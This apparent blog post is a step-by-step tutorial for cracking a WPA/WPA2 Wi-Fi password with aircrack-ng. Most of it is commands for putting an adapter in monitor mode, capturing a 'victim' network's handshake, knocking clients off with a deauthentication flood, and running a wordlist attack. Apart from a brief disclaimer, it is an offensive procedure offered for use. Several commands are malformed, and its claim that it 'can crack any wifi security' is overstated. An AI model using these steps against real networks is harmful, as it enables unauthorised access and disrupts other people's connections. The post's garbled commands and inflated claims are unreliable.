Wi-Fi hacking through Aircrack --- Awesome !!

in hacking •  7 years ago 

Although it's hard to hack the Wi-Fi encrypted with WPA/WPA2 but it's possible. Today I will describe how to hack Wi-Fi using Aircrack-ng in Linux platform.

Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for wireless LANs.

Today I am using Ubuntu and hacking Wi-Fi is illegal, this demonstration is only for educational purpose. I am not responsible for any consequences.
So let's start cracking:-

Step1: Open the terminal. Type ifconfig
This command will show your wireless adapter (wlo1 in my case)
image

Step2: Type:
sudo airmon-ng start wlo1
Type your password
(this will enable the Wi-Fi in Monitor mode)

image

Step3:Now it's time to start capturing the packets using airodump command.This command will show the available wireless network,Type:
sudo airodump-ng mon0

(you can press Ctrl+ C to stop searching the wireless network after getting the victim bssid)
image

Step4: Now note the victim Wi-Fi bssid and channel then type:
Sudo airodump-ng --bssid -c (Channel) -w hack mon0
Here hack is the text file where the WPA handshake is saved. The actual code looks like this
Sudo airodump-ng --bssid 00:00:00:00:00:00 -c 7 -w hack mon0

image
Step4: Open new terminal and type:
Sudo aircrack-ng hack-01.cap mon0
If there is wpa handshake available then we can jump directly into next step.
image
If not available then type :
Sudo aireplay-ng --deauth -a --ignore-negative-one
The above code looks like ( sudo aireplay-ng --deauth 100 -a 00:00:00:00:00:00 mon0 --ignore-negative-one
image
Step5: Now stop all running task

    Sudo airmon-ng stop mon0

image
Step6: Now open a new terminal and start dictionary attack. Here I have downloaded dictionary file named wordlist.
Type: sudo aircrack-ng -w
The above code look like ( sudo aircrack-ng hack-01.cap -w wordlist

image
This will start combining the key and start searching the password.Its takes time but can crack any wifi security.
Replay me for more information about aircrack :)

Authors get paid when people like you upvote their post.
If you enjoyed what you read here, create your account today and start earning FREE STEEM!